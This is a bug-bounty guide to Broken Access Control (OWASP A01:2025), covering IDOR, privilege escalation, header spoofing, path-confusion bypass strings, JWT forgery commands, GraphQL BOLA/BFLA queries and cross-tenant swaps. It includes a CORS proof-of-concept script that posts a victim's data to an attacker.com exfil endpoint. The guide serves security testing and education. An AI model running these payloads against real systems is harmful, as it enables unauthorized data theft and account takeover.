OWASP A01:2025 — Broken Access Control

Broken Access Control:
The Complete Bug Bounty Guide

From zero to advanced — every class of access control flaw, how to find them, how to weaponize them, and how to report them for maximum bounty. Built for hunters working real-world targets in 2025/2026.

OWASP Rank: #1 (A01:2025) Tested Apps Affected: ~100% CWEs Mapped: 40 Mapped CVEs: 32,654 Avg Bounty (HackerOne): $1,500 – $50,000+

01Foundations#

Before you can hunt Broken Access Control flaws effectively, you have to understand what access control actually is — and why it breaks so often in modern apps. This part is the bedrock. Skip it and you'll find low-hanging IDORs forever; understand it and you'll find logic flaws that pay five figures.

What is Broken Access Control?

Access Control (also called authorization) is the enforcement layer that decides who can perform what action on which resource. It sits after authentication. Authentication answers "who are you?" — access control answers "are you allowed to do this?"

A Broken Access Control vulnerability exists whenever that enforcement is missing, incomplete, inconsistent, or bypassable. In practice it manifests as:

  • A normal user reading or modifying another user's data
  • A user invoking admin functionality without being an admin
  • An anonymous request reaching an endpoint that should require login
  • A tenant in a multi-tenant app reading data belonging to a different tenant
  • An action that is restricted via the UI but never actually checked on the server

The single most important sentence in this entire guide: access control must be enforced on the server, for every request, for every resource and field, against the authenticated principal — not against client-supplied trust signals. Every BAC bug, without exception, is a violation of that sentence.

Definition · OWASP

"Access control enforces policy such that users cannot act outside of their intended permissions. Failures typically lead to unauthorized information disclosure, modification, or destruction of all data, or performing a business function outside the user's limits."

OWASP Top 10 — A01 from 2021 to 2025

Broken Access Control has been ranked #1 in the OWASP Top 10 since 2021, and A01:2025 keeps it there. It isn't close, and the 2025 refresh made the picture larger, not smaller. Compare the two data calls side by side:

OWASP A01 data callTop 10 · 2021Top 10 · 2025
CWEs mapped into the category3440
Max test coverage (share of dataset tested for BAC)94.55%100%
Average incidence rate (per application)3.81%3.74%
Total occurrences in the data set318,4871,839,701
Mapped CVEs19,01332,654

Read those two rates carefully — they are the two most mis-quoted numbers in AppSec. Coverage (94–100%) means almost every application in OWASP's data call was tested for at least one access-control weakness; incidence (~3.8%) is the average rate at which those tests actually fired. The honest one-liner: BAC is simultaneously the most-tested-for weakness family and one of the most frequently found — and with 40 CWEs now rolling up into it (from 34), it is by a wide margin the broadest umbrella in the entire Top 10.

For a bug bounty hunter, this is the single highest-EV category to specialize in. Every app has authorization somewhere; most get part of it wrong; and impact is almost always demonstrable in concrete business terms — data exposure, account takeover, financial loss — which means high CVSS and big payouts. The 2025 edition also sharpens where the frontier is: API authorization, multi-tenant isolation, OAuth/OIDC scope handling, and microservice trust boundaries.

What's new · 2025 / 2026

OWASP Top 10:2025 shipped as Release Candidate 1 on 6 November 2025 (the 8th edition) and, by mid-2026, is treated across the industry as the current working standard. A few OWASP/MITRE artifacts still carry "RC" labels, so cite the category as A01:2025 and don't be surprised by the odd stale "release candidate" reference. The structural change that touches us most: SSRF (the former A10:2021) has been consolidated into A01, reframing server-side request forgery as an access-control failure — SSRF findings now live under the BAC umbrella.

The rest of the 2025 list, for orientation: A02 Security Misconfiguration (up from #5), A03 Software Supply Chain Failures (broadened from "Vulnerable & Outdated Components"), A04 Cryptographic Failures, A05 Injection, A06 Insecure Design, A07 Authentication Failures, A08 Software or Data Integrity Failures, A09 Security Logging & Alerting Failures, and a brand-new A10 Mishandling of Exceptional Conditions (failing open — itself a frequent BAC root cause). MITRE now tracks the category via CWE-1436 (A01:2025) and CWE-1450 (the full 2025 view).

On the API side the OWASP API Security Top 10 (2023) remains current, with BAC split across BOLA (API1), BOPLA (API3) and BFLA (API5) — three of the top five API risks are access control. Scoring moved on too: CVSS v4.0 (Nov 2023) changes how cross-tenant "scope" impact is modeled — see §7. And a genuinely new surface has opened in AI products, where authorization breaks at the data and tool layers — see §5.7.

Access Control Models You'll Encounter

Targets implement one or more of these models. Knowing which one a target uses tells you where to push.

ModelHow it worksCommon BAC failures
DAC
Discretionary
Resource owner sets permissions (file ACLs, share links).Stale shares, predictable share tokens, owner-only checks that ignore "viewer" roles.
MAC
Mandatory
System enforces fixed policy based on labels (rare in web apps; common in gov/mil).Label downgrade, classification confusion, side-channel inference.
RBAC
Role-Based
Users get roles; roles get permissions. Most common in SaaS.Role assigned client-side, role parameter accepted from request, missing role checks on individual endpoints.
ABAC
Attribute-Based
Policy engine evaluates attributes (user.dept == doc.dept). Common in enterprise.Policy bypass via missing attributes, attribute injection, default-allow on unknown attributes.
ReBAC
Relationship-Based
Auth based on a graph of relationships (Google Zanzibar, Auth0 FGA, SpiceDB, OpenFGA). Powers Twitter, GitHub, Figma.Stale relations, cache poisoning, missing checks on nested resources, "anyone on the team" overly permissive.
PBAC
Policy-Based
A dedicated engine evaluates declarative policy (Open Policy Agent / Rego, AWS Cedar, Casbin) at a central decision point. Increasingly the "correct" modern answer.Policy/enforcement gap (PDP says deny, PEP never asks), default-allow rules, policy that checks role but not resource, un-evaluated new endpoints.

The industry trend since ~2020 has been to pull authorization out of scattered if-statements and into a central policy engine (OPA, Cedar, SpiceDB/Zanzibar). That's good for defenders — but it creates a specific, high-value bug class for hunters: the enforcement gap. A perfect policy is worthless if a code path never asks the engine. New endpoints, batch operations, GraphQL resolvers, background workers, and admin tooling are exactly the places teams forget to wire in the policy check. When a target advertises "fine-grained authz" or "Zanzibar-style permissions," don't assume it's airtight — assume the model is sound and go hunting for the request path that skipped it.

The Hunter's Mindset

BAC hunting is fundamentally logical, not technical. You're not crafting an exploit payload — you're testing assumptions the developer made. Internalize these heuristics:

1 · Two accounts, always

Every BAC engagement begins by creating at least two test accounts. Most authorization bugs are invisible from a single user's perspective — they only appear when you replay account A's request as account B.

2 · Trust nothing the client sends

If the request contains user_id, role, tenant, is_admin, or anything else that describes identity, the server almost certainly trusts at least one of them more than it should.

3 · Front-end ≠ back-end

UI restrictions (hidden buttons, disabled fields, role gates) are convenience features. Test the underlying endpoint directly with a low-privileged session.

4 · One missing check is enough

Authorization needs to be perfect everywhere; the attacker needs one gap. Bugs cluster at the edges: new endpoints, batch operations, internal APIs, admin features, exports, search.

5 · Read the JavaScript

Modern SPAs leak the entire endpoint inventory in their bundles. Half of "hidden" admin functionality is one grep away.

6 · Think like the product manager

Every BAC bug maps to a business workflow. Ask: "What would a malicious user want to do here?" then test whether the app prevents it.

7 · Deprecated ≠ deleted

Old API versions, legacy hostnames, and "sunset" endpoints usually predate the current authorization model — and nobody re-audited them. /api/v1/ often lacks the checks /api/v2/ added. The oldest code is frequently the least guarded.

8 · Test the boundary, not the role

"Am I an admin?" is the wrong question the app often asks. The right one is "am I allowed on this specific object?" Being a moderator somewhere is not being a moderator here. Always test the resource-scoped boundary, not just role membership.

02The Complete Vulnerability Taxonomy#

BAC is a family, not a single bug. The sub-classes below are the categories you'll actually encounter on real targets. Each section gives you the shape of the bug, how to detect it, how to exploit it, and a real example. They are ordered roughly easiest to hardest — from mechanical "swap an ID and replay" bugs through to timing, crypto, and protocol-level attacks — and each carries an Easy Medium Hard tag for how much has to line up to exploit it. Difficulty is not impact: several "Easy" bugs (an admin IDOR, a mass-assignment role flip) are among the highest-paying findings in this guide.

2.1 IDOR — Insecure Direct Object Reference High Frequency Easy

IDOR is the canonical BAC bug: a request references an object by a direct identifier (database row ID, filename, GUID) and the server returns or modifies that object without verifying the caller owns it. CWE-639. In API terms this is BOLA — Broken Object Level Authorization, ranked API1:2023 and the single most common and most impactful API vulnerability class. If you learn to find one bug well, make it this one.

Shape of the bug

HTTP · GET account by ID
GET /api/v2/accounts/10472/profile HTTP/1.1 Host: app.example.com Cookie: session=eyJ1aWQiOjU1NX0... # attacker is user 555, but server returns user 10472's data 200 OK { "user_id": 10472, "email": "victim@example.com", "ssn": "123-45-6789" }

Identifier types you'll meet

TypeExampleExploitabilityApproach
Sequential integer/orders/10472TrivialDecrement, increment, fuzz a range.
UUID v4/orders/9c3b4d...ConditionalLook for leaks: search APIs, public profiles, support tickets, exports, error pages, JSON dumps.
Encoded/u/MTA0NzI (base64 of 10472)EasyDecode → modify → re-encode.
Hashed/u/c4ca4238... (md5 of 1)EasyTry hashing small integers / common strings.
Composite/inv/INV-2026-000123MediumReverse pattern, enumerate counter.
Timestamp-based/msg/1716800000123MediumPredict around your own timestamps.
Indirect via filter?customer=acme&email=*HighMost overlooked. Modify filters, broaden scope.

How to test, step by step

  1. Sign up two accounts (A and B). Note their IDs.
  2. Browse the entire app as A while Burp records traffic. Trigger every action that touches a resource: view profile, view order, edit, delete, export, share, comment, upload, message.
  3. For every request, identify the object identifier. Swap A's identifiers for B's.
  4. Replay each modified request in A's session. Does the server return B's data? Modify it? Delete it?
  5. Repeat with no session (anonymous), with a guest token, with low-priv role, with read-only role.
  6. Then automate it. Manual identifier-swapping doesn't scale past a handful of endpoints. Run Autorize / Auth Analyzer (§4) so every request you make as A is silently replayed with B's session and the responses diffed — that's how you turn "walk the app once" into full-coverage BOLA testing. Automated multi-session diffing is now the state-of-the-art detection primitive; the tool churns, the technique doesn't.
Pro tip · GUIDs aren't safe

Devs often assume unguessable IDs make IDOR impossible. They don't — they just shift the bug from enumeration to leakage. Look for endpoints that return other users' GUIDs: search, autocomplete, share dialogs, group rosters, recent activity feeds, audit logs, exports, and especially any endpoint that takes a name or email and returns metadata.

Common IDOR patterns by endpoint

  • GET /api/users/{id} — profile read
  • PATCH /api/users/{id} — profile write (juicy: email/2FA change → ATO)
  • GET /api/orders/{id}/invoice.pdf — financial leakage
  • POST /api/teams/{tid}/members — add yourself to someone else's team
  • DELETE /api/files/{fid} — destructive (often the highest CVSS)
  • GET /api/exports/{eid}/download — bulk data leak via someone else's export
  • POST /api/messages?conversation={cid} — inject into private chats

2.2 Horizontal Privilege Escalation Easy

Same-role access across user boundaries. User A reads/modifies user B's data even though both are the same role (both "members", both "customers"). Mechanically this is IDOR's sibling — the distinction is who controls the resource boundary. Test exactly like §2.1, but pay attention to shared resources (teams, organizations, projects) where the bug appears when invitations or memberships aren't enforced.

2.3 Vertical Privilege Escalation Critical Impact Easy

A low-privileged user performs an action restricted to higher-privileged users (admin, support, billing, owner). The escalation can be subtle (a single hidden admin field accepted on a normal endpoint) or wholesale (entire admin APIs reachable without role checks). CWE-269.

Classic example: hidden admin API

Discovered via JS bundle inspection
// In app.bundle.js const ADMIN_ROUTES = [ "/api/admin/users", "/api/admin/users/{id}/impersonate", "/api/admin/billing/invoices", "/api/admin/feature-flags" ]; // As a normal user, just hit them: POST /api/admin/users/555/impersonate HTTP/1.1 Cookie: session=lowprivuser 200 OK # server returns an impersonation token for user 555

How to find it

  1. Pull every JS bundle through linkfinder, getJS, SecretFinder. Extract endpoint strings.
  2. Sign up the lowest-privileged account you can (free tier, viewer, guest).
  3. Replay each discovered endpoint with your low-priv session. Note status codes: 200 is a hit; 403 means properly gated; 404 can still be a hit (some apps return 404 on real data when authz fails — try a known-bad ID too).
  4. For any 403, try the header tricks and method tampering in §2.6–2.7.

2.4 Forced Browsing Easy

Resources or pages exist on the server but aren't linked from any UI. The developer is relying on obscurity. Walk the namespace and they appear.

Wordlist-driven discovery
# Use ffuf with a smart wordlist ffuf -u https://app.example.com/FUZZ \ -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt \ -mc 200,301,302,401,403 \ -fc 404 \ -ac # API path discovery — combine with HTTP method fuzzing ffuf -u https://app.example.com/api/v1/FUZZ \ -w /usr/share/seclists/Discovery/Web-Content/api/objects.txt \ -X GET,POST,PUT,DELETE,PATCH

High-yield wordlists for BAC

  • SecLists/Discovery/Web-Content/api/
  • SecLists/Discovery/Web-Content/raft-large-*
  • SecLists/Discovery/Web-Content/CMS/admin-panels.txt
  • Custom wordlist built from the target's JS bundles (huge signal — endpoints in the codebase usually exist).

2.5 Missing Function-Level Access Control Easy

Adjacent to forced browsing, but the function is known — the bug is that the gate at the function entry point is missing. Classic shapes:

  • POST /api/users/me/upgrade-plan — anyone can upgrade themselves to a paid plan for free.
  • POST /api/coupons/apply — accepts arbitrary coupons because there's no role check on coupon validity.
  • POST /api/support/tickets/{id}/reply — staff-only endpoint that ships in the API but isn't role-gated.

2.6 HTTP Method & Verb Tampering Easy

Authorization is often applied to specific methods. Swap the method and the check disappears.

The seven moves

  1. GET → POST/PUT/DELETE. A GET handler returns 200 but mutation handlers are unprotected, or vice versa.
  2. POST → PUT. Frameworks often map both to the same controller but apply middleware to only one.
  3. Custom verbs. Try PATCH, PROPFIND, REPORT, COPY, LOCK, MKCOL. Spring's actuator endpoints especially.
  4. HEAD bypass. Some WAFs only inspect GET/POST. HEAD may reach the backend and still execute the controller body in some frameworks.
  5. Method override headers. X-HTTP-Method-Override: DELETE, X-Method-Override: PUT, _method=DELETE in form bodies. Hugely common bypass.
  6. OPTIONS preflight as oracle. The Allow header in OPTIONS sometimes reveals undocumented methods.
  7. Case sensitivity. Some routers normalize, some don't. gEt, Get, lowercase. Rare but real.

When the front-of-house (reverse proxy, WAF, load balancer) makes authorization decisions and forwards trust signals to the backend, you can sometimes spoof those signals from the outside.

Headers that change authorization outcomes

HeaderWhy it matters
X-Original-URL: /adminIIS/some proxies route on this header instead of the request line. Hit /public with this header → reach /admin internally.
X-Rewrite-URL: /adminSame idea, different middleware.
X-Forwarded-For: 127.0.0.1If admin is "only allowed from localhost", spoof it. Variants: X-Real-IP, True-Client-IP, X-Originating-IP, X-Remote-IP, X-Cluster-Client-IP, CF-Connecting-IP, Forwarded: for=127.0.0.1.
X-Forwarded-Host / HostSome apps trust the Host header to determine tenant. Try Host: admin.target.com on any endpoint.
Referer: https://target.com/adminSome apps gate functionality by checking Referer. Trivial to spoof.
X-User-Id, X-Username, X-Auth-User, X-Forwarded-UserInternal services frequently trust these. Worth a try on every endpoint that talks to a backend service.
X-Tenant-Id, X-Account-Id, X-Workspace-IdCommon in microservice setups for tenancy. Change them.
Duplicate headersSend X-Forwarded-For: 8.8.8.8 and X-Forwarded-For: 127.0.0.1. Front and back ends may disagree on which wins → bypass.

2.8 Mass Assignment / Autobinding High Payout Medium

Frameworks like Rails, Spring, Django REST, and Express+Mongoose often bind incoming request bodies directly to model attributes. If a model has a privileged attribute (is_admin, role, balance, verified) and the dev forgot to whitelist allowed fields, you can set it from a normal request. CWE-915.

PATCH /api/users/me · normal request
{ "name": "alice", "email": "alice@example.com" }
PATCH /api/users/me · mass assignment attempt
{ "name": "alice", "email": "alice@example.com", "role": "admin", # <-- escalates to admin "is_verified": true, "credit_balance": 9999999, "tenant_id": "competitor-corp" }

Field discovery

You can't blindly guess attributes; you need to find them. In order of yield:

  1. Read the GET response. The response to GET /api/users/me usually leaks the entire shape. Replay every field back in a PATCH/PUT.
  2. Admin endpoints leak schema. If you can get one admin response (via FLAC or otherwise), it shows you every field admins can set.
  3. JS bundle. Type definitions, GraphQL schemas, Redux state shapes — all leak attribute names.
  4. Public OpenAPI/Swagger. /swagger.json, /openapi.json, /api-docs, /v3/api-docs — try these on every API target.
  5. Error messages. Some frameworks reveal "unknown field X" — flip the polarity and discover real ones by sending random ones.
  6. GraphQL introspection — see §2.13.

2.9 CORS Misconfiguration Medium

CORS isn't itself authorization, but bad CORS turns same-origin auth into cross-origin auth — meaning a malicious page in another tab reads authenticated responses from the target.

The dangerous combinations

Server responseRisk
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Browsers reject this combo, but server may be lying — test with a real cross-origin fetch from a controlled domain.
Reflected Origin + Credentials: trueCritical. Any origin you set is trusted. Origin: https://evil.com → server echoes it → cookies leak.
null origin allowedSandboxed iframes, redirects, and data: URLs send Origin: null. If the server allows it, host a payload in an iframe with sandbox.
Subdomain wildcard with subdomain takeoverIf *.target.com is trusted and you take over old-dev.target.com, game over.
Pre-flight cache poisoningIf preflight responses are cached across origins (rare but seen), one victim's preflight authorizes attacker requests.
CORS PoC · cross-origin credentialed read
<script> fetch("https://api.example.com/me", { credentials: "include" }) .then(r => r.text()) .then(t => fetch("https://attacker.com/exfil", { method: "POST", body: t })); </script>

2.10 Cross-Tenant Access — The SaaS Goldmine High Bounty Medium

In multi-tenant SaaS — Slack, Notion, Linear, Salesforce, and essentially every B2B product — the tenant boundary (org / workspace / account) is the most consequential line in the whole system. Cross-tenant access is simply IDOR raised to the organizational level: instead of reading one user's row, you read another company's entire dataset. That's why a single working cross-tenant read routinely pays five figures — sometimes six — and is almost always Critical: it implies breach of every customer at once.

How multi-tenancy is implemented (and where each model breaks)

Knowing how a target isolates tenants tells you where to push. Four models dominate:

ModelHow it worksWhere it breaks
Shared DB + tenant column
(by far the most common)
One database; every row carries a tenant_id, and every query must add WHERE tenant_id = ?.A single query that forgets the filter leaks everyone. Raw SQL, joins, aggregates, reports, search, and admin tooling routinely bypass the ORM's default scope.
Row-Level Security (RLS)The database enforces the tenant filter from a session variable the app sets per request.Any path that forgets to SET the session var — background workers, read replicas, migrations, cron — runs unscoped.
Schema-per-tenantOne database, a separate schema per tenant.Schema chosen from a client-controlled name; cross-schema search; a shared "public" schema that leaks.
Database-per-tenantA separate database/cluster per tenant.Connection routing keyed on client input; a shared cache, queue, or search index that ignores the DB boundary.

Where the tenant identifier hides

  • Subdomain: https://acme.app.com → tenant acme
  • URL path: /orgs/acme/projects
  • Query string: ?org_id=42
  • Header: X-Org-ID: 42 (also X-Tenant-Id, X-Account-Id, X-Workspace-Id)
  • JWT claim: {"org": "acme"}
  • Cookie: tenant=acme
  • Body field: { "org_id": 42, ... } or GraphQL variable
  • Implicit — inferred from a resource ID and never sent explicitly (the most dangerous kind)
  • Out-of-band — storage keys (s3://bucket/acme/…), queue/event payloads, gRPC metadata

The core test — two orgs, one swap

Provision two organizations you control (call them A = 42 and B = 77), each with its own user. Log in as A and try to reach B's data by substituting B's identifier — the whole class reduces to this move:

HTTP · the two-org swap
# Logged in as an Org A user; target Org B. GET /api/orgs/42/invoices HTTP/1.1 # baseline: your own org Cookie: session=<org-A user> GET /api/orgs/77/invoices HTTP/1.1 # swap in Org B's id... Cookie: session=<org-A user> # ...keep A's session 200 OK # + Org B's invoices -> cross-tenant read

Attack patterns & payloads

1 · Conflicting tenant signals. When several places carry the tenant, make them disagree and see which layer the server trusts. The identity token should always win; frequently the request does.

HTTP · make the signals disagree
POST /api/reports HTTP/1.1 Authorization: Bearer <JWT with "org":"A"> # identity says A X-Org-Id: B # header says B Content-Type: application/json { "org_id": "B" } # body says B # If the response is scoped to B, the server trusts the request over the token.

2 · Implicit tenant from a resource ID. The highest-yield variant: the endpoint takes only a resource id and infers the tenant from it — so ownership is never actually checked.

HTTP · implicit tenant (never verified)
GET /api/projects/PRJ-00193/members HTTP/1.1 # PRJ-00193 is another org's Cookie: session=<org-A user> # The project's org is looked up FROM the project, so your org is never compared. # Harvest foreign ids from: audit logs, webhooks, link/OG previews, errors, exports.

3 · Spoofing the internal tenant header. A gateway authenticates you, then forwards a tenant header to internal services that trust it blindly. If you can set it from outside, you re-scope yourself.

HTTP · inject the internal tenant header
GET /api/dashboard HTTP/1.1 Cookie: session=<org-A user> X-Tenant-Id: 77 # variants: X-Org-Id, X-Account-Id, X-Workspace-Id, X-Customer-Id

4 · Async jobs & exports that lose tenant context. Background workers routinely authorize the request but then fetch by a global id without re-checking the tenant. Trigger one in your own org, learn the id shape, then walk it.

HTTP · export / job-id enumeration
# 1) Trigger in YOUR org, note the id format: POST /api/exports HTTP/1.1 # -> { "job_id": "exp_8f21a0", "status": "queued" } # 2) The worker drops tenant context — walk the id space: GET /api/exports/exp_8f21a1/download HTTP/1.1 # another tenant's export Cookie: session=<org-A user>

5 · Host / subdomain routing confusion. When the tenant is resolved from the Host header, override it — the app layer may key on the header while your session belongs to a different tenant.

HTTP · override the tenant Host
GET /api/settings HTTP/1.1 Host: victim-org.app.com # you're really on attacker-org.app.com Cookie: session=<attacker-org user> # Also try: X-Forwarded-Host: victim-org.app.com when a proxy rewrites Host.

More cross-tenant surfaces to test

  • Shared resource pools. Templates, public snippets, the integrations marketplace, and uploaded-file stores often share one pool across tenants and forget to filter by visibility/owner.
  • Invitations & membership. Invite yourself into another org, accept a stale invite after leaving, or flip an invite's target org id. Membership endpoints are a classic cross-tenant foothold.
  • Webhooks & callbacks. Per-tenant webhooks signed with a global secret let you forge/replay another tenant's events; SSRF-y callback URLs can pivot into internal per-tenant services.
  • Search & global indexes. Elasticsearch / vector / analytics indexes that aren't filtered by tenant bleed across orgs — query for terms only another tenant would have.
  • Nested / sub-resource traversal. org → project → document → comment: the parent check passes but a child resolver skips the tenant filter (the ReBAC failure in §6).
  • Cache keyed without tenant. A response cached without the tenant in the key gets served to the next org (see §2.16).
  • Legacy / deprecated API surfaces. Old API versions and pre-GA endpoints often predate the current isolation model. This is exactly how the 2025 Microsoft Entra ID break worked (§6): a legacy Graph API trusted an unsigned internal token whose tenant field it never validated — cross-tenant impersonation of any tenant globally.

Cross-tenant testing workflow

  1. Provision two orgs you control (A and B), each with a user — ideally one of every role per org.
  2. Catalog every place the tenant appears (the list above): subdomain, path, query, header, cookie, JWT, body, storage keys.
  3. Swap B's identifiers into A's requests and watch for 200 + B's data. Automate with a second-org session profile (§4).
  4. Conflict the signals (JWT=A, header/body=B) to find which layer is trusted.
  5. Harvest foreign resource ids for the implicit-tenant endpoints — audit logs, webhooks, previews, errors, exports.
  6. Exercise the async surface — trigger exports/reports/jobs and enumerate their ids.
  7. Hit the shared pools — templates, integrations, files, search, invitations.
  8. Prove impact with your OWN second org as the victim — read one distinctive field to demonstrate the boundary crossed. Never touch a real customer.
Tooling

Run Autorize / Auth Analyzer with a second session profile scoped to Org B so every Org-A request is auto-replayed cross-tenant and diffed. Add a dedicated "cross-tenant" column to your authorization matrix (§3) — one broken cell in that column is usually the biggest finding on the engagement.

Why this is the goldmine

A single working cross-tenant read means every customer's data is exposed, so triagers score it against the whole customer base — routinely Critical, routinely five-to-six figures. The highest-yield places to look are anywhere the tenant identifier is implicit (inferred from a resource ID rather than checked) or legacy (an old code path predating the current isolation model). See §6 for CVE-2025-55241, the canonical modern example.

2.11 Path Confusion & URL Parsing Medium

Different parts of the stack parse paths differently. When they disagree, authz at one layer can be bypassed at another.

Bypass payloads

URL gymnastics
/admin # baseline 403 /admin/ # trailing slash sometimes bypasses /admin/. # dot-segment //admin # double slash /./admin /admin%20 # trailing space (URL encoded) /admin%09 # tab /admin%00 # null byte /admin..;/ # Tomcat path parameter /admin..%2f # encoded dot-segment /admin..%252f # double-encoded /admin/%2e%2e/admin /public/..%2fadmin /admin#.css # fragment + extension trick /admin?.json /admin.json # extension based bypass — common with WAFs allowlisting static /admin.html /.;/admin # jetty/tomcat /;/admin /admin/%2e/ # normalization mismatch

Client-Side Path Traversal (CSPT) — the 2024–2026 twist

Path confusion is no longer only a server-side game. In CSPT, the front-end takes an attacker-influenced value (an ID, a slug, a redirect target) and builds an API path from it in the browser — so injecting ../ sequences reroutes the app's own authenticated fetch to a different, more privileged endpoint. Because that request carries the victim's real session, CSPT turns a benign-looking reflected parameter into a same-origin, fully-authenticated request forgery. It chains beautifully: CSPT to reach a state-changing endpoint, or CSPT + web cache deception (§2.16) for full account takeover — a combination documented in real 2025 disclosures. Grep client bundles for string-concatenated request URLs (fetch(`/api/${id}`)) and feed %2e%2e%2f into every value that lands in one.

2.12 JWT and Token Flaws Critical Hard

JWTs are the most common session/auth token in modern APIs and a fertile source of BAC bugs because they encode claims the server uses for authorization. Every claim is suspect.

The classic JWT attack catalog

AttackHowFixed?
alg: noneSet header {"alg":"none"}, drop the signature. Server "verifies" successfully.Mostly, but still found in legacy/embedded.
Weak HS256 secretCrack the secret offline with hashcat -m 16500 or jwt_tool.Common in startups, IoT, internal tools.
Algorithm confusion (RS256 → HS256)Take the server's RSA public key and use it as the HMAC secret. Sign your forged token with HS256.Library-dependent — still alive in many stacks.
kid SQL/path injectionThe kid header is used to look up the verification key. If it's concatenated into a SQL query or filesystem path, you can point it at a known value (e.g. ../../../../dev/null → empty key, sign with empty secret).Niche but devastating when present.
jku / x5u abuseThese headers tell the verifier where to fetch the key. Point at your own server, host a matching JWKS.If jku isn't allowlisted: full forgery.
Embedded JWKThe jwk header contains a key the server trusts. Embed your own; sign with its private half.Should never be trusted — sometimes is.
Claim tamperingModify role, scope, user_id, tenant in payload. Many apps don't verify signature in dev/test/internal endpoints.Cross-environment leakage is real.
Expired/replayOld token still valid after logout/revoke/role change. Test logout invalidation.Stateless JWTs frequently fail this.

JWT testing workflow

jwt_tool · key tests
# Decode and inspect jwt_tool eyJhbGciOi... # Try all known attacks automatically jwt_tool eyJ... -M at -t https://app.example.com/api/me -rc "session=eyJ..." # Algorithm confusion (RS256 -> HS256) with their public key jwt_tool eyJ... -X k -pk pubkey.pem # Crack HMAC secret hashcat -a 0 -m 16500 token.txt rockyou.txt
Watch for · Asymmetric trust

Many JWTs are signed with RS256 but the server library accepts any algorithm the header advertises. If you can convince it to verify your forged token as HS256 using the public key as the secret, the entire authorization layer falls. Test this on every RS256 token you encounter.

Still live in 2024–2026 · not a historical bug

Algorithm-confusion and signature-verification flaws keep landing fresh CVEs in widely-used libraries — never assume a modern stack is immune:

  • CVE-2024-37568Authlib (Python) < 1.3.1: unless the caller pins an algorithm in jwt.decode(), HMAC verification is accepted with any asymmetric public key — textbook RS256→HS256 confusion (CWE-347 / CWE-284).
  • CVE-2024-54150cjwt (C) < 2.3.0: the verifier doesn't distinguish HMAC from RS/EC/PS tokens; set alg:HS256 and sign with the public key. For RSA the key is recoverable from a handful of signatures; for EC, from a single one.

The OAuth working group has formalized the next wave in draft-ietf-oauth-rfc8725bis (the JWT Best Current Practices refresh): Cross-JWT Confusion (a token minted for one context accepted in another), Encryption/Signature Confusion (JWE vs JWS conflation), and JWT Format Confusion (Compact vs JSON serialization parser mismatch). The academic JWTeemo study (NDSS 2026) grammar-fuzzed JWT libraries and reported 31 findings across 17 implementations, driving roughly 20 new CVEs — evidence the parsing layer is still systematically under-tested. Test aud and iss for cross-context acceptance, not just the signature.

2.13 GraphQL-Specific BAC Hard

GraphQL flips the threat model: one endpoint, many operations, and authorization that has to live in every resolver. Where REST has hundreds of endpoints that each might forget a check, GraphQL has hundreds of resolvers — and every field, every relationship edge, and every mutation is its own authorization decision. Teams routinely centralize authz at the HTTP layer (one /graphql route, one middleware) and then discover the middleware can't see which object or which field a query is really asking for. The result is that all three API-layer BAC classes reappear at once: BOLA (object level, API1), BOPLA (object property/field level, API3), and BFLA (function/mutation level, API5). Learn to read a schema and GraphQL becomes one of the highest-yield surfaces you can test.

Recon & schema recovery

First fingerprint the engine — Apollo, Hasura, graphql-ruby, Yoga, Ariadne, and others differ in how they batch, whether they leak field suggestions, and what they default to. graphw00f identifies the implementation, which tells you which quirks to reach for. Then recover the schema; if introspection is open, the entire read+write surface is handed to you:

GraphQL · enumerate the schema (introspection ON)
# Every type and its fields — the whole read + write surface { __schema { queryType { name } mutationType { name } types { name kind fields { name args { name } } } } } # Just the mutations — this is your BFLA hit-list. Start here. { __schema { mutationType { fields { name args { name } } } } }

Introspection is disabled by default on most modern production servers, so when it's off, recover the schema another way:

  • Field-suggestion abuse. GraphQL servers helpfully suggest similar field names on typos ("Did you mean email?"). Clairvoyance weaponizes this to rebuild a usable schema with introspection fully disabled.
  • Client JS bundles. Apollo / urql / Relay clients ship the exact query and mutation strings — grep the bundles for gql`, query , mutation .
  • Alternate endpoints & consoles. /graphql/console, /v1/graphql, /api/graphql, /__graphql, /graphiql, plus staging mirrors that often leave introspection on.
  • Visualize it. Feed introspection JSON to GraphQL Voyager / InQL to see the relationship graph — the edges are exactly where nested-traversal BOLA hides.

The node() interface — GraphQL's universal IDOR

Relay-style schemas expose a single node(id:) field that resolves any object by its global ID. Those IDs are almost always just base64("Type:database_id") — trivially decodable and forgeable. If that one resolver skips the ownership check (a very common mistake, because it's generic code), you get a BOLA that reaches every type in the schema from one field.

bash + GraphQL · node() global-ID IDOR (Relay)
# Relay global IDs are just base64("Type:dbid") — decode, tweak, re-encode $ echo -n 'VXNlcjoxMDA=' | base64 -d # -> User:100 $ echo -n 'User:101' | base64 # -> VXNlcjoxMDE= # One resolver, every type. If it forgets ownership, it's a universal BOLA. { node(id: "VXNlcjoxMDE=") { ... on User { id email phone lastLoginIp } } }

Object- and field-level gaps (BOLA / BOPLA)

Even without node(), most schemas expose by-ID lookups (user(id:), order(id:)). Two things to test on each: can you read another user's object (BOLA), and can you read sensitive fields the UI never requests (BOPLA)? Field-level is the subtler bug — authz is frequently applied at the type level ("can you see a User?") but not per field ("can you see this User's ssn?"), so simply asking for the property returns it.

GraphQL · field-level authz gap (BOPLA)
# authz was applied at the type level, not per field — ask for the sensitive ones { user(id: 1) { id name email # PII — should require ownership isAdmin # authorization flag leaked internalNotes # staff-only paymentMethods { last4 brand } # billing } }
GraphQL · nested / relationship traversal
# Parent object is yours; walk the edges into objects that are not { order(id: "my-own-order-id") { id total customer { # related resolver often skips its own check email address { line1 city zip } orders { id total } # the victim's OTHER orders, via the edge } } }

Mutation authorization gaps (BFLA)

The write surface is where the money is. Because the front-end simply never renders a mutation for an unprivileged user, teams forget the resolver itself is unguarded. Pull the full mutation list from introspection (or the JS bundle) and fire each one as a low-privileged — or anonymous — user.

GraphQL · mutation authorization gap (BFLA)
# The UI never renders this for a normal user — but the resolver still runs mutation { updateUserRole(userId: "2", role: ADMIN) { id role } } # Same drill for: setEntitlement, impersonate, transferOwnership, # deleteWorkspace, applyCoupon, updateBillingPlan, inviteMember ...

Aliasing & batching — one request, many privileged calls

GraphQL lets a single request contain many operations. That's a rate-limit and authorization-cache nightmare: limits and checks are frequently applied per HTTP request, not per operation. Aliasing runs the same field many times under different names; batching submits an array of whole operations. Both defeat per-request throttling — and both chain straight into the race conditions in §2.17.

GraphQL · aliasing — N privileged calls in ONE request
